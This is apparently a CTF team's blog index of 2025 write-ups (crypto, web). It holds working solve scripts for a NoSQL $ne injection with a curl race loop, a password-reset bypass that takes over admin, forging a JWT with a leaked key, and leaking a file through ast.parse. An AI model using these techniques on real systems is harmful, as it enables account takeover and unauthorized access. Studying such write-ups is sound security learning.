everyone!\nUrl Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 ","permalink":"http://localhost:1313/writeups/ulisse2025/","title":"Ulisse CTF 2025"},{"content":" Confusion I\u0026rsquo;ve encrypted my secret message with RSA.\nEasy stuff, right?\nWell, I\u0026rsquo;m not giving you the key outright\u0026hellip;\nI\u0026rsquo;ve hidden it in a haystack!\nSure, a key is not a needle, and this haystack is not that big.\nIt shouldn\u0026rsquo;t take more than 10\u0026rsquo; to find it, if you have an half-decent metal detector.\nGood luck!\nIntroduction Confusion was a crypto CTF from K!nd4SUS CTF 2025.\nfrom Crypto.Util import number from base64 import b64encode prime = lambda: number.getPrime(512) def b64enc(x): h = hex(x)[2:] if len(h) % 2: h = '0' + h return b64encode(bytes.fromhex(h)).decode() p = prime() q = prime() with open(\u0026quot;flag.txt\u0026quot;) as f: flag = f.readline().strip() n = p * q m = int(flag.encode().hex(), 16) c = pow(m, 65537, n) print(\u0026quot;ciphertext:\u0026quot;, hex(c)[2:]) bale = [p, q] bale.extend(prime() for _ in range(1\u0026lt;\u0026lt;6)) def add_hay(stack, straw): x = stack[0] for i in range(1, len(stack)): y = stack[i] stack[i] = y + (straw * x) x = y stack.append(straw * x) stack = [1] add_hay(stack, p) add_hay(stack, q) for straw in bale: add_hay(stack, straw) print(\u0026quot;size:\u0026quot;, len(stack)) for x in stack: print(b64enc(x)) The challenge encrypts the flag with RSA and constructs a stack via the add_hay function which we\u0026rsquo;re then given to try to recover the primes $p$ and $q$ used to create the modulus $n$.\nSolution The intended solution is to solve the list of equations provided by stack, this is why the description suggests it might take about 10 minutes. But I found out a much simpler solution by simply \u0026ldquo;looking\u0026rdquo; at what stack looks like if $p$ and $q$ are seen as variables, which I simulated using sagemath:\nsage: from Crypto.Util.number import getPrime ....: ....: p, q = PolynomialRing(ZZ, 'p,q').gens() ....: bale = [p, q] ....: bale.extend(getPrime(512) for _ in range(1\u0026lt;\u0026lt;6)) ....: ....: def add_hay(stack, straw): ....: x = stack[0] ....: for i in range(1, len(stack)): ....: y = stack[i] ....: stack[i] = y + (straw * x) ....: x = y ....: stack.append(straw * x) ....: ....: stack = [1] ....: add_hay(stack, p) ....: add_hay(stack, q) ....: for straw in bale: ....: add_hay(stack, straw) By looking at the end of stack it\u0026rsquo;s easy to see that both the last and second to last entries have a factor of $pq$, with a simple gcd we can therefore recover $n$. Looking now at the second and third to last entries (which I\u0026rsquo;ll call $s_2$ and $s_3$ respectively) we can see that: $s_2 = zp^2q^2 + 2cp^2q + 2cpq^2$ $s_3 = xp^2q^2 + yp^2q + ypq^2 + cp^2 + wpq + cq^2$\nWith some modular reduction (and a division): $v_2 := \\frac{s_2 \\pmod{n^2}}{n} = 2cp + 2cq$ $v_3 :\\equiv c(p^2 + q^2) \\pmod n$\nThen since $(p + q)^2 \\equiv p^2 + q^2 \\pmod n$ we have: $a :\\equiv 2^{-1}v_2 \\pmod n \\equiv c(p + q) \\pmod n$ $b :\\equiv a^2 \\pmod n \\equiv c^2\\left(p^2 + q^2\\right) \\pmod n$\nFinally we can recover $c$, and therefore $\\phi(n)$ with: $c \\equiv bv_3^{-1} \\pmod n$ $\\phi(n) = n - \\left(ac^{-1} \\pmod n\\right) + 1$\nfrom base64 import b64decode as bd from math import gcd ct = 0x7434d263623892ca660f4139c54ab02a8a14d87cd5c658fca9105f88f7ed5c888a744e949b716094c1d73fd8084eeaf72b23e97325829a69ca57a34e5e0b5272ddaf039bcc0aed2055968c8dfa7cd0373cca072c31123e6259659af03ce87b224bb7fdf13fb89b4ceb580d2d11524025ccb4f86560f3b006d99d86a63ab3aa5a size = 69 stack = [] with open('output.txt', 'r') as f: f.readline(); f.readline() for _ in range(size): stack.append(int.from_bytes(bd(f.readline().rstrip()))) n = gcd(stack[-1], stack[-2]) v2 = stack[-2] % (n*n) // n v3 = stack[-3] % n a = v2 * pow(2, -1, n) % n b = pow(a, 2, n) c = b * pow(v3, -1, n) % n phi = n - (a * pow(c, -1, n) % n) + 1 d = pow(65537, -1, phi) m = pow(ct, d, n) print('flag:', m.to_bytes(-(m.bit_length()//-8)).decode()) flag: KSUS{6465726976617469766573206172652061206e69636520747269636b} Author: vympel\n","permalink":"http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/","title":"Key in the haystack"},{"content":" K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges!\nUrl Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack ","permalink":"http://localhost:1313/writeups/k1ndasus2025/","title":"K!nd4SUS CTF 2025"},{"content":" Confusion Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning?\nIntroduction Confusion was a crypto CTF from Srdnlen CTF 2025.\n#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os # Local imports FLAG = os.getenv(\u0026quot;FLAG\u0026quot;, \u0026quot;srdnlen{REDACTED}\u0026quot;).encode() # Server encryption function def encrypt(msg, key): pad_msg = pad(msg, 16) blocks = [os.urandom(16)] + [pad_msg[i:i + 16] for i in range(0, len(pad_msg), 16)] b = [blocks[0]] for i in range(len(blocks) - 1): tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i + 1]) b += [bytes(j ^ k for j, k in zip(tmp, blocks[i]))] c = [blocks[0]] for i in range(len(blocks) - 1): c += [AES.new(key, AES.MODE_ECB).decrypt(b[i + 1])] ct = [blocks[0]] for i in range(len(blocks) - 1): tmp = AES.new(key, AES.MODE_ECB).encrypt(c[i + 1]) ct += [bytes(j ^ k for j, k in zip(tmp, c[i]))] return b\u0026quot;\u0026quot;.join(ct) KEY = os.urandom(32) print(\u0026quot;Let's try to make it confusing\u0026quot;) flag = encrypt(FLAG, KEY).hex() print(f\u0026quot;|\\n| flag = {flag}\u0026quot;) while True: print(\u0026quot;|\\n| ~ Want to encrypt something?\u0026quot;) msg = bytes.fromhex(input(\u0026quot;|\\n| \u0026gt; (hex) \u0026quot;)) plaintext = pad(msg + FLAG, 16) ciphertext = encrypt(plaintext, KEY) print(\u0026quot;|\\n| ~ Here is your encryption:\u0026quot;) print(f\u0026quot;|\\n| {ciphertext.hex()}\u0026quot;) The challenge acts as an encryption oracle in 3 steps:\n$\\quad b_0 := R \\\\\\quad b_i := E(m_i) \\oplus m_{i-1} \\quad i \\ge 1$ $\\quad c_0 := R \\\\\\quad c_i := D(b_i) \\quad i \\ge 1$ $\\quad ct_0 := R \\\\\\quad ct_i := E(c_i) \\oplus c_{i-1} \\quad i \\ge 1$ Where $m$ is our input message, padded, split into blocks and prefixed with the random block $R$, meanwhile $D$ and $E$ are AES decryption and encryption. Notice how $ct_i = b_i \\oplus c_{i-1}$ since $E(c_i) = E(D(b_i)) = b_i$.\nSolution Encryption utlity function:\n# encrypt and return the nth block def encrypt(r, msg: bytes, block: int = -1): r.sendlineafter(b'x) ', msg.hex().encode()) r.recvuntil(b'n:\\n|\\n| ') ct = bytes.fromhex(r.recvline().rstrip().decode()) if 0 \u0026lt;= block \u0026lt; len(ct) // 16: return ct[16*block:16*(block + 1)] return ct Since the flag is appended to the end of our input, we can recover the first block with a simple chosen-prefix ECB attack, which I\u0026rsquo;m doing using my library cryptils. With dec0 we can calculate a decryption of a 16 long bytestring of zeros, which I\u0026rsquo;ll use to recover the rest of the flag:\ndef dec0(r): msg1 = os.urandom(16) enc_msg1 = encrypt(r, msg1, 1) msg2 = os.urandom(16) enc_msg2 = encrypt(r, msg2, 1) val = xor(enc_msg2, msg1) ct3 = encrypt(r, enc_msg1 + msg1 + msg2, 3) return xor(ct3, val) Also notice how the second block the oracle gives us is a plain encryption of the first block of input.\nLet\u0026rsquo;s call the output of dec0 simply $D(0)$ and set $F_i$ to be the $i$th block of the flag, with $F_0$ being the random block at the start, we can write each block of the flag\u0026rsquo;s ciphertext we received at the start as: $C_i := E(F_i) \\oplus F_{i-1} \\oplus D(E(F_{i-1}) \\oplus F_{i-2})$\nLet\u0026rsquo;s take a look at the fourth block after asking the oracle to encrypt $\\ F_0 \\mid F_1 \\mid D(0)$: $ct_3 = b_3 \\oplus D(b_2) =E(D(0)) \\oplus F_1 \\oplus D(E(F_1) \\oplus F_0) = F_1 \\oplus D(E(F_1) \\oplus F_0)$ $T := ct_3 \\oplus C_2 = F_1 \\oplus D(E(F_1) \\oplus F_0) \\oplus E(F_2) \\oplus F_1 \\oplus D(E(F_1) \\oplus F_0) = E(F_2)$\nLet\u0026rsquo;s then generate a random block $V$ and ask for the encryption of $\\ T \\mid D(0) \\mid V$: $ct_3 = b_3 \\oplus D(b_2) = E(V) \\oplus D(0) \\oplus D(E(D(0)) \\oplus T) = E(V) \\oplus D(0) \\oplus D(T) = E(V) \\oplus D(0) \\oplus D(E(F_2)) = E(V) \\oplus D(0) \\oplus F_2$\nWe know both $E(V)$ and $D(0)$ and can therefore recover $F_2$. The process can then be repeated for successive blocks:\ndef main(): r = remote('confusion.challs.srdnlen.it', 1338) if args.REMOTE else process('./chall.py') r.recvuntil(b' = ') ct_flag = blockify(bytes.fromhex(r.recvline().rstrip().decode())) D0 = dec0(r) flag = chosen_prefix(lambda b: encrypt(r, b, 1), string.printable, length=16) curr, prev = flag, ct_flag[0] for i in range(2, len(ct_flag)): ct3 = encrypt(r, prev + curr + D0, 3) enc_next = xor(ct_flag[i], ct3) msg = os.urandom(16) enc_msg = encrypt(r, msg, 1) enc = encrypt(r, enc_next + D0 + msg, 3) prev = curr curr = xor(enc, xor(enc_msg, D0)) flag += curr print('flag:', unpad(flag, 16).decode()) r.close() flag: srdnlen{I_h0p3_th15_Gl4ss_0f_M1rt0_w4rm3d_y0u_3n0ugh} Author: vympel\n","permalink":"http://localhost:1313/writeups/srdnlen2025/confusion/","title":"Confusion"},{"content":"Online Python Editor Description: If you\u0026rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness!\nIntroduction This is the first web in the TRX2025 CTF. And it\u0026rsquo;s basically a simple online Python editor with a syntax checker.\nSource Go to the source code and we can immediately see two things:\nIn a file called secret.py, which is never called, read or otherwise used.\nThe main app.py file\n# filename: app.py import ast import traceback from flask import Flask, render_template, request app = Flask(__name__) @app.get(\u0026quot;/\u0026quot;) def home(): return render_template(\u0026quot;index.html\u0026quot;) @app.post(\u0026quot;/check\u0026quot;) def check(): try: ast.parse(**request.json) return {\u0026quot;status\u0026quot;: True, \u0026quot;error\u0026quot;: None} except Exception: return {\u0026quot;status\u0026quot;: False, \u0026quot;error\u0026quot;: traceback.format_exc()} if __name__ == '__main__': app.run(debug=True) What happens is that the template is rendered and every N seconds the check method is called, which parses the Python code sent by the client and returns the traceback, which is very useful for us later.\nSolution Where\u0026rsquo;s the vuln? Well, it\u0026rsquo;s quite simple here: ast.parse(**request.json), The call to ast.parse is vulnerable to Python code injection, in fact we can pass arbitrary parameters to the function (because of the **request.json), and if we look at the documentation for ast.parse we know that we can pass a filename to the function, and ast.parse uses something like compile(source, filename, mode, PyCF_ONLY_AST), which allows us to leak sensitive information causing syntax errors in specific lines of code.\nSo finally we get\n# filename: exploit.py #!/usr/bin/python3 import requests BASE_URL = \u0026quot;http://python.ctf.theromanxpl0.it:7001/\u0026quot; def check(): r = requests.post(BASE_URL + \u0026quot;/check\u0026quot;, json={\u0026quot;source\u0026quot;: \u0026quot;\\n\\n\\n\\n\\n;\u0026quot;,\u0026quot;filename\u0026quot;:\u0026quot;./secret.py\u0026quot;, }) if 'error' != None: print(r.json()['error']) else: print(r.json()) def main(): check() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3} Author: akiidjk ","permalink":"http://localhost:1313/writeups/trx2025/onlinepythoneditor/","title":"Online Python Editor"},{"content":"Speed Description: Welcome to Radiator Springs\u0026rsquo; finest store, where every car enthusiast\u0026rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow!\nIntroduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge.\nThe challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. and we don\u0026rsquo;t have enough money to buy the flag, which is particularly standard.\nSo we jump straight into the code and try to understand how it works.\nSource The application is a simple javascript application using express.js and express-handlebars for page rendering and a nosql database to manage the data (MongoDB with mongoose).\nAs soon as we log in, we notice that the only way to get money is with these codes, which are randomly generated once in the code and cannot be reused.\n// filename: app.js // Generate a random discount code const generateDiscountCode = () =\u0026gt; { const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; let discountCode = ''; for (let i = 0; i \u0026lt; 12; i++) { discountCode += characters.charAt(Math.floor(Math.random() * characters.length)); } return discountCode; }; const createDiscountCodes = async () =\u0026gt; { const discountCodes = [ { discountCode: generateDiscountCode(), value: 20 } ]; for (const code of discountCodes) { const existingCode = await DiscountCodes.findOne({ discountCode: code.discountCode }); if (!existingCode) { await DiscountCodes.create(code); console.log(`Inserted discount code: ${code.discountCode}`); } else { console.log(`Discount code ${code.discountCode} already exists.`); } } }; // Call function to insert discount codes await createDiscountCodes(); As you can see, everything is normal, nothing strange, something strange we have in the routes.js in the redeem endpoint.\nlet delay = 1.5; router.get('/redeem', isAuth, async (req, res) =\u0026gt; { try { const user = await User.findById(req.user.userId); if (!user) { return res.render('error', { Authenticated: true, message: 'User not found' }); } // Now handle the DiscountCode (Gift Card) let { discountCode } = req.query; if (!discountCode) { return res.render('error', { Authenticated: true, message: 'Discount code is required!' }); } const discount = await DiscountCodes.findOne({discountCode}) if (!discount) { return res.render('error', { Authenticated: true, message: 'Invalid discount code!' }); } // Check if the voucher has already been redeemed today const today = new Date(); const lastRedemption = user.lastVoucherRedemption; if (lastRedemption) { const isSameDay = lastRedemption.getFullYear() === today.getFullYear() \u0026amp;\u0026amp; lastRedemption.getMonth() === today.getMonth() \u0026amp;\u0026amp; lastRedemption.getDate() === today.getDate(); if (isSameDay) { return res.json({success: false, message: 'You have already redeemed your gift card today!' }); } } // Apply the gift card value to the user's balance const { Balance } = await User.findById(req.user.userId).select('Balance'); user.Balance = Balance + discount.value; // Introduce a slight delay to ensure proper logging of the transaction // and prevent potential database write collisions in high-load scenarios. new Promise(resolve =\u0026gt; setTimeout(resolve, delay * 1000)); user.lastVoucherRedemption = today; await user.save(); return res.json({ success: true, message: 'Gift card redeemed successfully! New Balance: ' + user.Balance // Send success message }); } catch (error) { console.error('Error during gift card redemption:', error); return res.render('error', { Authenticated: true, message: 'Error redeeming gift card'}); } }); The first thing that stands out is\nconst user = await User.findById(req.user.userId); if (!user) { return res.render('error', { Authenticated: true, message: 'User not found' }); } // Now handle the DiscountCode (Gift Card) let { discountCode } = req.query; if (!discountCode) { return res.render('error', { Authenticated: true, message: 'Discount code is required!' }); } const discount = await DiscountCodes.findOne({discountCode}) if (!discount) { return res.render('error', { Authenticated: true, message: 'Invalid discount code!' }); } Where we can clearly see a very undisguised nosql injection where we just have to do discountCode = { $ne: null } to redeem the code without knowing the exact value.\nBut this only solves one of our problems, because when we check the code later we see that our code can only be used once, the code only gives 20 credits and we need 50 credits for the flag.\nThis is where the name of the challenge comes in, which gives a nice clue as to what to do next, speed == race condition.\nSolution In my case, I split the attack into two parts because I had problems doing the race condition in python, so I used curl and bash, but there may be a more elegant way to exploit the race condition.\n# filename: exploit.py import random import string import threading import requests # BASE_URL = \u0026quot;http://speed.challs.srdnlen.it:8082\u0026quot; BASE_URL = \u0026quot;http://localhost:80\u0026quot; s = requests.Session() def string_generator(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) def redeem_code(): try: r = s.get(BASE_URL + \u0026quot;/redeem?discountCode[$ne]=null\u0026quot;) print(f\u0026quot;Response ({threading.current_thread().name}): {r.status_code} - {r.text}\u0026quot;) except Exception as e: print(f\u0026quot;Error in thread {threading.current_thread().name}: {e}\u0026quot;) def login(username, password): s.post(BASE_URL + \u0026quot;/user-login\u0026quot;, json={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) # print(f\u0026quot;Login response: {r.text}\u0026quot;) return username, password def register(username, password): s.post(BASE_URL + \u0026quot;/register-user\u0026quot;, json={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) # print(f\u0026quot;Register response: {r.text}\u0026quot;) return username, password def main(): username = string_generator(8) password = string_generator(8) register(username, password) login(username, password) print(s.cookies[\u0026quot;jwt\u0026quot;].strip()) # redeem_code() if __name__ == \u0026quot;__main__\u0026quot;: main() #!/bin/bash JWT=\u0026quot;$(python3 exploit.py)\u0026quot; # Read the jwt printed by exploit.py echo \u0026quot;JWT used: $JWT\u0026quot; for i in {1..30}; do curl -s 'http://localhost:80/redeem?discountCode%5B%24ne%5D=null' \\ -H \u0026quot;Cookie: jwt=${JWT}\u0026quot; \u0026amp; done wait Once you have made a few attempts and the logs show that you have 60 credits, you can copy the jwt and use it to log in.\nAuthor: akiidjk ","permalink":"http://localhost:1313/writeups/srdnlen2025/speed/","title":"Speed"},{"content":"Ben 10 Description: Ben Tennyson\u0026rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It\u0026rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden.\nCan you outsmart the system and reveal the flag?\nIntroduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I\u0026rsquo;m writing the writeups only so some information could be wrong or not complete.\nThe challenge is presented in a very clear and simple way, we have in front of us a login form and one to register, once logged in we see we are shown several photos of the different aliens of ben10.\nWhen we try to click on each alien, it just opens another screen with details, until the last one hides information that only the admin can see.\nFrom here I would say that a look at the code would not hurt.\nSource Analysing the code, we see that the admin is created at the same time as the user, so each user has their own randomly generated admin.\nadmin_username = f\u0026quot;admin^{username}^{secrets.token_hex(5)}\u0026quot; admin_password = secrets.token_hex(8) And as you can see, the admin username is associated with the user created.\nconn = sqlite3.connect(DATABASE) cursor = conn.cursor() cursor.execute(\u0026quot;INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)\u0026quot;,(username, password, admin_username)) cursor.execute(\u0026quot;INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)\u0026quot;,(admin_username, admin_password, None)) conn.commit() So the first problem is to understand how to find the name of our admin. But fortunately, it\u0026rsquo;s quite simple, because we see that it\u0026rsquo;s simply inserted into a template, and therefore probably somewhere in the HTML when rendered.\nreturn render_template('home.html', username=username, admin_username=admin_username, image_names=image_names) {% extends \u0026quot;base.html\u0026quot; %} {% block content %} \u0026lt;h1\u0026gt;Welcome, {{ username }}\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Do you like the aliens on my Omnitrix?\u0026lt;/h2\u0026gt; \u0026lt;!-- secret admin username --\u0026gt; \u0026lt;div style=\u0026quot;display:none;\u0026quot; id=\u0026quot;admin_data\u0026quot;\u0026gt;{{ admin_username }}\u0026lt;/div\u0026gt; \u0026lt;div id=\u0026quot;image-grid\u0026quot;\u0026gt; {% for image_name in image_names %} \u0026lt;div\u0026gt; \u0026lt;img src=\u0026quot;{{ url_for('static', filename='images/' + image_name + '.webp') }}\u0026quot; alt=\u0026quot;{{ image_name }}\u0026quot; onclick=\u0026quot;window.location.href='/image/{{ image_name }}'\u0026quot; style=\u0026quot;cursor:pointer;\u0026quot;\u0026gt; \u0026lt;/div\u0026gt; {% endfor %} \u0026lt;/div\u0026gt; \u0026lt;a href=\u0026quot;{{ url_for('logout') }}\u0026quot; style=\u0026quot;margin-top: 20px; display: block;\u0026quot;\u0026gt;Logout\u0026lt;/a\u0026gt; {% endblock %} So the first problem is solved\u0026hellip;\nThe second is to find out how to access the secret image, with the aim of logging in as admin. To do this, we go back to analysing the source code.\nAmong the various endpoints, we find /reset_password and /forgot_password.\nThe former allows us to generate a reset token to be used in /forgot_password to change the user\u0026rsquo;s password.\n@app.route('/reset_password', methods=['GET', 'POST']) def reset_password(): \u0026quot;\u0026quot;\u0026quot;Handle reset password request.\u0026quot;\u0026quot;\u0026quot; if request.method == 'POST': username = request.form['username'] if username.startswith('admin'): flash(\u0026quot;Admin users cannot request a reset token.\u0026quot;, \u0026quot;error\u0026quot;) return render_template('reset_password.html') if not get_user_by_username(username): flash(\u0026quot;Username not found.\u0026quot;, \u0026quot;error\u0026quot;) return render_template('reset_password.html') reset_token = secrets.token_urlsafe(16) update_reset_token(username, reset_token) flash(\u0026quot;Reset token generated!\u0026quot;, \u0026quot;success\u0026quot;) return render_template('reset_password.html', reset_token=reset_token) return render_template('reset_password.html') @app.route('/forgot_password', methods=['GET', 'POST']) def forgot_password(): \u0026quot;\u0026quot;\u0026quot;Handle password reset.\u0026quot;\u0026quot;\u0026quot; if request.method == 'POST': username = request.form['username'] reset_token = request.form['reset_token'] new_password = request.form['new_password'] confirm_password = request.form['confirm_password'] if new_password != confirm_password: flash(\u0026quot;Passwords do not match.\u0026quot;, \u0026quot;error\u0026quot;) return render_template('forgot_password.html', reset_token=reset_token) user = get_user_by_username(username) if not user: flash(\u0026quot;User not found.\u0026quot;, \u0026quot;error\u0026quot;) return render_template('forgot_password.html', reset_token=reset_token) if not username.startswith('admin'): token = get_reset_token_for_user(username) if token and token[0] == reset_token: update_password(username, new_password) flash(f\u0026quot;Password reset successfully.\u0026quot;, \u0026quot;success\u0026quot;) return redirect(url_for('login')) else: flash(\u0026quot;Invalid reset token for user.\u0026quot;, \u0026quot;error\u0026quot;) else: username = username.split('^')[1] token = get_reset_token_for_user(username) if token and token[0] == reset_token: update_password(request.form['username'], new_password) flash(f\u0026quot;Password reset successfully.\u0026quot;, \u0026quot;success\u0026quot;) return redirect(url_for('login')) else: flash(\u0026quot;Invalid reset token for user.\u0026quot;, \u0026quot;error\u0026quot;) return render_template('forgot_password.html', reset_token=request.args.get('token')) The problem here is on line 183, where instead of using username it uses request.form['username'], and this causes a big problem because now you can just use the normal user\u0026rsquo;s token to reset the admin\u0026rsquo;s password.\nSolution # filename: exploit.py #!/usr/bin/python3 import random import string import requests from bs4 import BeautifulSoup BASE_URL = \u0026quot;http://localhost:5000/\u0026quot; s = requests.Session() def string_generator(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) def login(username, password): data = { \u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password } r = s.post(f\u0026quot;{BASE_URL}/login\u0026quot;, data=data) return r.status_code == 200 def register(username, password): data = { \u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password } r = s.post(f\u0026quot;{BASE_URL}/register\u0026quot;, data=data) return r.status_code == 200 def get_admin(): r = s.get(BASE_URL) soup = BeautifulSoup(r.text, 'html.parser') admin_username = soup.find('div', {'id': 'admin_data'}).text.strip() print(\u0026quot;[+] Admin Username:\u0026quot;, admin_username) return admin_username def get_reset_token(username): r = s.post(f\u0026quot;{BASE_URL}/reset_password\u0026quot;,data={\u0026quot;username\u0026quot;: username}) soup = BeautifulSoup(r.text, 'html.parser') token = soup.find('strong').text.strip() return token def exploit(username_admin,token): data = { \u0026quot;username\u0026quot;: username_admin, \u0026quot;reset_token\u0026quot;: token, \u0026quot;new_password\u0026quot;: \u0026quot;cookieforme\u0026quot;, \u0026quot;confirm_password\u0026quot;: \u0026quot;cookieforme\u0026quot; } r = s.post(f\u0026quot;{BASE_URL}/forgot_password\u0026quot;, data=data) if r.status_code == 200: print(\u0026quot;[+] Generated new password!\u0026quot;) else: print(\u0026quot;[!] Failed to generate new password\u0026quot;) return if login(username_admin, \u0026quot;cookieforme\u0026quot;): print(\u0026quot;[+] Logged in as admin!\u0026quot;) else: print(\u0026quot;[!] Failed to login as admin\u0026quot;) return return s.get(f\u0026quot;{BASE_URL}/image/ben10\u0026quot;).text def main(): username = string_generator(10) password = string_generator(10) register(username, password) login(username, password) username_admin = get_admin() token = get_reset_token(username) print(exploit(username_admin,token)) if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk Author: akiidjk ","permalink":"http://localhost:1313/writeups/srdnlen2025/ben10/","title":"Ben 10"},{"content":" TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025!\nTRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC.\nThe team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto!\nWe hope you\u0026rsquo;ll have fun playing the competition!\nUrl Discord Performance Summary CTFs: n/M Total points: 605.000 Position: 57/550 Rating points: 2.354 Writeups Web Online Python Editor ","permalink":"http://localhost:1313/writeups/trx2025/","title":"TRX CTF 2025"},{"content":" Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia.\nThis CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics.\nFor the best 10 teams, in-person finals will be organized in Sardinia (date to be decided)\nUrl Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2.145 Writeups Web Speed Ben10 Crypto Confusion ","permalink":"http://localhost:1313/writeups/srdnlen2025/","title":"Srdnlen CTF 2025"},{"content":"Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it?\nIntroduction \u0026hellip;\nSource \u0026hellip;\n# filename: file.py \u0026hellip;\nSolution \u0026hellip;\n# filename: file.py $ flag: flag{redacted} Author: ... ","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/","title":"Locked Door"},{"content":"DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message?\nIntroduction \u0026hellip;\nSource \u0026hellip;\n# filename: file.py \u0026hellip;\nSolution \u0026hellip;\n# filename: file.py $ flag: flag{redacted} Author: ... ","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/","title":"DroidCryptor"},{"content":"GoSecureIt Description: I\u0026rsquo;ve found this website under construction, at the moment you can only register, but I think there\u0026rsquo;s something strange in the cookie\nIntroduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code\nSource // filename: secret.go package secret var JwtSecretKey = []byte(\u0026quot;schrody_is_always_watching\u0026quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main.go, in fact if we open it we can see\n// filename: main.go r.GET(\u0026quot;/flag\u0026quot;, handler.AuthMiddleware(), func(c *gin.Context) { role, _ := c.Get(\u0026quot;role\u0026quot;) if role == \u0026quot;admin\u0026quot; { c.String(http.StatusOK, os.Getenv(\u0026quot;flag\u0026quot;)) } else { c.String(http.StatusForbidden, \u0026quot;No flag for a normal user :/\u0026quot;) } }) We can see that the role value is checked to see if it is admin, in which case the flag is printed, even though with c.GET it looks like it takes a get parameter it actually takes the value from the cookie we need to re-sign.\nSolution So to solve the challenge, all we have to do is modify the cookie we get when we log in by changing the role to admin and signing it with the leaked key.\n# filename: exploit.py #!/usr/bin/python3 import random import string import requests import jwt BASE_URL = \u0026quot;https://gosecureit.challs.m0lecon.it/\u0026quot; s = requests.Session() def string_generator(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) def sign_jwt(cookie,secret): decoded_jwt = jwt.decode(cookie, secret, algorithms=[\u0026quot;HS256\u0026quot;]) decoded_jwt['role'] = 'admin' resigned_jwt = jwt.encode(decoded_jwt, secret, algorithm='HS256') return resigned_jwt def register(username,password): r = requests.post(BASE_URL + \u0026quot;register\u0026quot;, data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if r.status_code != 200: print(\u0026quot;[+] Failed to register\u0026quot;) exit(1) else: print(\u0026quot;[+] Registered successfully\u0026quot;) def login(username,password): r = requests.post(BASE_URL + \u0026quot;login\u0026quot;, data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if r.status_code != 200: print(\u0026quot;[+] Failed to login\u0026quot;) exit(1) else: print(\u0026quot;[+] Login successfully\u0026quot;) return r.json() def main(): username,password = string_generator(10),string_generator(10) secret = \u0026quot;schrody_is_always_watching\u0026quot; register(username,password) cookies = login(username,password) new_jwt = sign_jwt(cookies['token'],secret) s.cookies.set('jwt', new_jwt) r = s.get(BASE_URL + \u0026quot;flag\u0026quot;) print(\u0026quot;Flag: \u0026quot; + r.text) if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: ptm{Th4t'5_why_1t'5_c4ll3d_53cr3t?} Author: akiidjk ","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/","title":"GoSecureIt"},{"content":"ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos\u0026hellip; and become popular!\nIntroduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description\nSource The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description\n# filename: pic.js \u0026quot;use strict\u0026quot;; (async () =\u0026gt; { const picPhoto = document.getElementById(\u0026quot;picPhoto\u0026quot;); const picDesc = document.getElementById(\u0026quot;picDesc\u0026quot;); const r = await fetch(\u0026quot;/api/pic/\u0026quot; + window.picId); if (r.ok) { const data = await r.json(); picPhoto.src = data.src; // We need to block dangerous things! const blocklist = [ \u0026quot;\u0026lt;comment\u0026quot;, 